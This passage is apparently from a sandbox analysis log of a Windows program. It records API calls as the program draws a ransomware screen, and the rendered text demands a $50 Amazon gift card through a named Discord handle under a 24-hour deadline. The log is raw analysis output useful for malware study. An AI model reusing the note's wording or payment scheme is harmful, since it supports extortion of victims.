(fontFamily=0x55df6b8, emSize=0x41640000, style=1, unit=0x3, font=0x2f4b2d8) returned 0x0 [0032.359] GdipGetFontSize (font=0x5a9e818, size=0x2f4b2dc) returned 0x0 [0032.359] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.359] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.359] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.359] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.359] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.360] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2f4b5d0) returned 0x0 [0032.360] GdipGetFontSize (font=0x5a9e840, size=0x2f4b5d4) returned 0x0 [0032.360] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.360] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.360] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.360] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.361] GetStockObject (i=5) returned 0x1900015 [0032.361] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0032.361] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.361] RegisterClassW (lpWndClass=0x3eeb68) returned 0xc134 [0032.361] CoTaskMemFree (pv=0x57e688) [0032.361] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0032.361] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName="TimerNativeWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x301bc [0032.361] SetWindowLongW (hWnd=0x301bc, nIndex=-4, dwNewLong=2011243997) returned 19270102 [0032.362] GetWindowLongW (hWnd=0x301bc, nIndex=-4) returned 2011243997 [0032.362] SetWindowLongW (hWnd=0x301bc, nIndex=-4, dwNewLong=19270142) returned 2011243997 [0032.362] GetWindowLongW (hWnd=0x301bc, nIndex=-4) returned 19270142 [0032.362] GetWindowLongW (hWnd=0x301bc, nIndex=-16) returned 79691776 [0032.362] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x24, wParam=0x0, lParam=0x3ee750) returned 0x0 [0032.362] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x81, wParam=0x0, lParam=0x3ee744) returned 0x1 [0032.362] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x83, wParam=0x0, lParam=0x3ee730) returned 0x0 [0032.362] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301bc, Msg=0x1, wParam=0x0, lParam=0x3ee744) returned 0x0 [0032.362] SetTimer (hWnd=0x301bc, nIDEvent=0x1, uElapse=0x64, lpTimerFunc=0x0) returned 0x1 [0032.362] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.362] AdjustWindowRectEx (in: lpRect=0x3eec7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec7c) returned 1 [0032.363] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.363] AdjustWindowRectEx (in: lpRect=0x3eec7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec7c) returned 1 [0032.367] GetProcessHeap () returned 0x510000 [0032.367] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x591eb8 | out: hHeap=0x510000) returned 1 [0032.367] GetProcessHeap () returned 0x510000 [0032.367] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x591060 | out: hHeap=0x510000) returned 1 [0032.371] GetProcessHeap () returned 0x510000 [0032.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56cf78 | out: hHeap=0x510000) returned 1 [0032.371] GetProcessHeap () returned 0x510000 [0032.371] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x591060 | out: hHeap=0x510000) returned 1 [0032.373] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee2b4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.425] GdipLoadImageFromStream (stream=0x4a0030, image=0x3ee710) returned 0x0 [0032.782] GdipImageForceValidation (image=0x5adfcf0) returned 0x0 [0032.790] GdipGetImageType (image=0x5adfcf0, type=0x3ee70c) returned 0x0 [0032.790] GdipGetImageRawFormat (image=0x5adfcf0, format=0x3ee690*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0032.791] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.791] AdjustWindowRectEx (in: lpRect=0x3eec7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec7c) returned 1 [0032.791] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.791] AdjustWindowRectEx (in: lpRect=0x3eec7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec7c) returned 1 [0032.792] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.792] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41040000, style=1, unit=0x3, font=0x2f6984c) returned 0x0 [0032.792] GdipGetFontSize (font=0x5ae0058, size=0x2f69850) returned 0x0 [0032.792] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.792] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.792] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.792] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.796] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.796] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3eec50) returned 1 [0032.797] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.797] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3eec50) returned 1 [0032.797] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.797] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2f69d68) returned 0x0 [0032.797] GdipGetFontSize (font=0x5b89b90, size=0x2f69d6c) returned 0x0 [0032.797] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.797] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.798] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.798] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.799] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.799] AdjustWindowRectEx (in: lpRect=0x3eecb0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eecb0) returned 1 [0032.799] GetSystemMetrics (nIndex=59) returned 1460 [0032.799] GetSystemMetrics (nIndex=60) returned 920 [0032.799] GetSystemMetrics (nIndex=34) returned 132 [0032.799] GetSystemMetrics (nIndex=35) returned 38 [0032.800] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.800] AdjustWindowRectEx (in: lpRect=0x3eebb0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eebb0) returned 1 [0032.800] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.800] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.808] GdipGetFamilyName (in: family=0x55df6b8, name=0x3ee99c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0032.808] CreateCompatibleDC (hdc=0x0) returned 0x15010267 [0032.809] GetCurrentObject (hdc=0x15010267, type=0x1) returned 0x1b00017 [0032.809] GetCurrentObject (hdc=0x15010267, type=0x2) returned 0x1900010 [0032.809] GetCurrentObject (hdc=0x15010267, type=0x7) returned 0x185000f [0032.809] GetCurrentObject (hdc=0x15010267, type=0x6) returned 0x18a002e [0032.810] SaveDC (hdc=0x15010267) returned 1 [0032.811] GetDeviceCaps (hdc=0x15010267, index=90) returned 96 [0032.811] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.811] CreateFontIndirectW (lplf=0x57e688) returned 0x90a0285 [0032.811] CoTaskMemFree (pv=0x57e688) [0032.811] GetObjectW (in: h=0x90a0285, c=92, pv=0x3ee974 | out: pv=0x3ee974) returned 92 [0032.812] GetCurrentObject (hdc=0x15010267, type=0x6) returned 0x18a002e [0032.812] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ee8cc | out: pv=0x3ee8cc) returned 92 [0032.812] SelectObject (hdc=0x15010267, h=0x90a0285) returned 0x18a002e [0032.812] GetMapMode (hdc=0x15010267) returned 1 [0032.812] GetTextMetricsW (in: hdc=0x15010267, lptm=0x3ee980 | out: lptm=0x3ee980) returned 1 [0032.814] DrawTextExW (in: hdc=0x15010267, lpchText="Locked Files", cchText=12, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6a71c | out: lpchText="Locked Files", lprc=0x3eea94) returned 13 [0032.841] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.841] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.841] GdipGetFamilyName (in: family=0x55df6b8, name=0x3ee99c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0032.841] GetDeviceCaps (hdc=0x15010267, index=90) returned 96 [0032.841] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.841] CreateFontIndirectW (lplf=0x57e688) returned 0x3e0a017a [0032.841] CoTaskMemFree (pv=0x57e688) [0032.841] GetObjectW (in: h=0x3e0a017a, c=92, pv=0x3ee974 | out: pv=0x3ee974) returned 92 [0032.842] SelectObject (hdc=0x15010267, h=0x3e0a017a) returned 0x90a0285 [0032.842] GetMapMode (hdc=0x15010267) returned 1 [0032.842] GetTextMetricsW (in: hdc=0x15010267, lptm=0x3ee980 | out: lptm=0x3ee980) returned 1 [0032.842] DrawTextExW (in: hdc=0x15010267, lpchText="CREATER: UNNAM3D", cchText=16, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6aa18 | out: lpchText="CREATER: UNNAM3D", lprc=0x3eea94) returned 15 [0032.846] GetCurrentThreadId () returned 0x8e0 [0032.846] GetCurrentThreadId () returned 0x8e0 [0032.846] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.846] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.846] DrawTextExW (in: hdc=0x15010267, lpchText="Discord: UNNAM3D#6666", cchText=21, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6ab20 | out: lpchText="Discord: UNNAM3D#6666", lprc=0x3eea94) returned 15 [0032.848] GetCurrentThreadId () returned 0x8e0 [0032.849] GetCurrentThreadId () returned 0x8e0 [0032.849] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.849] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.849] DrawTextExW (in: hdc=0x15010267, lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", cchText=172, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6abfc | out: lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", lprc=0x3eea94) returned 45 [0032.849] GetCurrentThreadId () returned 0x8e0 [0032.849] GetCurrentThreadId () returned 0x8e0 [0032.849] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.849] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.849] DrawTextExW (in: hdc=0x15010267, lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", cchText=214, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6acd8 | out: lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", lprc=0x3eea94) returned 60 [0032.849] GetCurrentThreadId () returned 0x8e0 [0032.849] GetCurrentThreadId () returned 0x8e0 [0032.849] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.849] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.849] GdipGetFamilyName (in: family=0x55df6b8, name=0x3ee99c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0032.850] GetDeviceCaps (hdc=0x15010267, index=90) returned 96 [0032.850] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.850] CreateFontIndirectW (lplf=0x57e688) returned 0x3a0a0833 [0032.850] CoTaskMemFree (pv=0x57e688) [0032.850] GetObjectW (in: h=0x3a0a0833, c=92, pv=0x3ee974 | out: pv=0x3ee974) returned 92 [0032.850] SelectObject (hdc=0x15010267, h=0x3a0a0833) returned 0x3e0a017a [0032.850] GetMapMode (hdc=0x15010267) returned 1 [0032.850] GetTextMetricsW (in: hdc=0x15010267, lptm=0x3ee980 | out: lptm=0x3ee980) returned 1 [0032.850] DrawTextExW (in: hdc=0x15010267, lpchText="How do i pay?", cchText=13, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6af78 | out: lpchText="How do i pay?", lprc=0x3eea94) returned 24 [0032.857] GetCurrentThreadId () returned 0x8e0 [0032.857] GetCurrentThreadId () returned 0x8e0 [0032.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.857] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.857] DrawTextExW (in: hdc=0x15010267, lpchText="What Happend?", cchText=13, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6b0a0 | out: lpchText="What Happend?", lprc=0x3eea94) returned 24 [0032.857] GetCurrentThreadId () returned 0x8e0 [0032.857] GetCurrentThreadId () returned 0x8e0 [0032.857] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.857] AdjustWindowRectEx (in: lpRect=0x3eeaac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeaac) returned 1 [0032.857] GdipGetFamilyName (in: family=0x55df6b8, name=0x3ee99c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0032.857] GetDeviceCaps (hdc=0x15010267, index=90) returned 96 [0032.857] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.857] CreateFontIndirectW (lplf=0x57e688) returned 0x60a0835 [0032.857] CoTaskMemFree (pv=0x57e688) [0032.857] GetObjectW (in: h=0x60a0835, c=92, pv=0x3ee974 | out: pv=0x3ee974) returned 92 [0032.857] SelectObject (hdc=0x15010267, h=0x60a0835) returned 0x3a0a0833 [0032.857] GetMapMode (hdc=0x15010267) returned 1 [0032.858] GetTextMetricsW (in: hdc=0x15010267, lptm=0x3ee980 | out: lptm=0x3ee980) returned 1 [0032.858] DrawTextExW (in: hdc=0x15010267, lpchText="-YOUR FILES HAVE BEEN LOCKED-", cchText=29, lprc=0x3eea94, format=0x2400, lpdtp=0x2f6b340 | out: lpchText="-YOUR FILES HAVE BEEN LOCKED-", lprc=0x3eea94) returned 25 [0032.862] GetCurrentThreadId () returned 0x8e0 [0032.862] GetCurrentThreadId () returned 0x8e0 [0032.862] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.862] AdjustWindowRectEx (in: lpRect=0x3eebc8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eebc8) returned 1 [0032.862] AdjustWindowRectEx (in: lpRect=0x3eec90, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eec90) returned 1 [0032.862] GetSystemMetrics (nIndex=59) returned 1460 [0032.862] GetSystemMetrics (nIndex=60) returned 920 [0032.862] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.862] AdjustWindowRectEx (in: lpRect=0x3eeacc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eeacc) returned 1 [0032.862] AdjustWindowRectEx (in: lpRect=0x3eeb90, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eeb90) returned 1 [0032.863] CreateCompatibleDC (hdc=0x0) returned 0x9010823 [0032.863] GetDC (hWnd=0x0) returned 0x601081d [0032.863] GdipCreateFromHDC (hdc=0x601081d, graphics=0x3eeaec) returned 0x0 [0032.863] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.863] GdipGetLogFontW (font=0x5b32940, graphics=0x5b89bb8, logfontW=0x57e688) returned 0x0 [0032.864] CoTaskMemFree (pv=0x57e688) [0032.864] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.864] CoTaskMemFree (pv=0x57e688) [0032.864] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.864] CoTaskMemFree (pv=0x57e688) [0032.864] GdipDeleteGraphics (graphics=0x5b89bb8) returned 0x0 [0032.864] ReleaseDC (hWnd=0x0, hDC=0x601081d) returned 1 [0032.864] CoTaskMemAlloc (cb=0x5c) returned 0x57e688 [0032.864] CreateFontIndirectW (lplf=0x57e688) returned 0xe0a07eb [0032.864] CoTaskMemFree (pv=0x57e688) [0032.864] SelectObject (hdc=0x9010823, h=0xe0a07eb) returned 0x18a002e [0032.865] GetTextMetricsW (in: hdc=0x9010823, lptm=0x3eebf8 | out: lptm=0x3eebf8) returned 1 [0032.865] GetTextExtentPoint32W (in: hdc=0x9010823, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2f6bbc4 | out: psizl=0x2f6bbc4) returned 1 [0032.865] SelectObject (hdc=0x9010823, h=0x18a002e) returned 0xe0a07eb [0032.866] DeleteDC (hdc=0x9010823) returned 1 [0032.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.866] AdjustWindowRectEx (in: lpRect=0x3ee964, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x3ee964) returned 1 [0032.866] GetCursorPos (in: lpPoint=0x2f6bbe4 | out: lpPoint=0x2f6bbe4*(x=424, y=718)) returned 1 [0032.873] GetSystemMetrics (nIndex=80) returned 1 [0032.875] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ee840 | out: lpmi=0x3ee840) returned 1 [0032.875] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xb010823 [0032.876] GetDeviceCaps (hdc=0xb010823, index=12) returned 32 [0032.876] GetDeviceCaps (hdc=0xb010823, index=14) returned 1 [0032.876] DeleteDC (hdc=0xb010823) returned 1 [0032.876] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ee894 | out: lpmi=0x3ee894) returned 1 [0032.876] AdjustWindowRectEx (in: lpRect=0x3eeb84, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x3eeb84) returned 1 [0032.876] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.876] AdjustWindowRectEx (in: lpRect=0x3ee8dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x3ee8dc) returned 1 [0032.876] GetCursorPos (in: lpPoint=0x2f6bf18 | out: lpPoint=0x2f6bf18*(x=424, y=718)) returned 1 [0032.876] MonitorFromPoint (pt=0x1a5, dwFlags=0x2cd) returned 0x10001 [0032.876] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ee7b8 | out: lpmi=0x3ee7b8) returned 1 [0032.876] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xc010823 [0032.876] GetDeviceCaps (hdc=0xc010823, index=12) returned 32 [0032.876] GetDeviceCaps (hdc=0xc010823, index=14) returned 1 [0032.876] DeleteDC (hdc=0xc010823) returned 1 [0032.877] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x3ee80c | out: lpmi=0x3ee80c) returned 1 [0032.877] AdjustWindowRectEx (in: lpRect=0x3ee9bc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x3ee9bc) returned 1 [0032.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.877] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3eeb7c) returned 1 [0032.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.877] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3ee9e0) returned 1 [0032.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.877] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.878] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.878] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.878] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.878] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.878] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.879] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.879] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.879] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.879] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.879] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.880] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.880] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.880] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.880] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.880] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.880] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.881] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.881] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.881] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.881] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.881] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.882] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.882] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.882] AdjustWindowRectEx (in: lpRect=0x3ee9e0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee9e0) returned 1 [0032.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.882] AdjustWindowRectEx (in: lpRect=0x3ee83c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3ee83c) returned 1 [0032.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.882] AdjustWindowRectEx (in: lpRect=0x3eeb7c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eeb7c) returned 1 [0032.883] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.883] AdjustWindowRectEx (in: lpRect=0x3ee9e0, 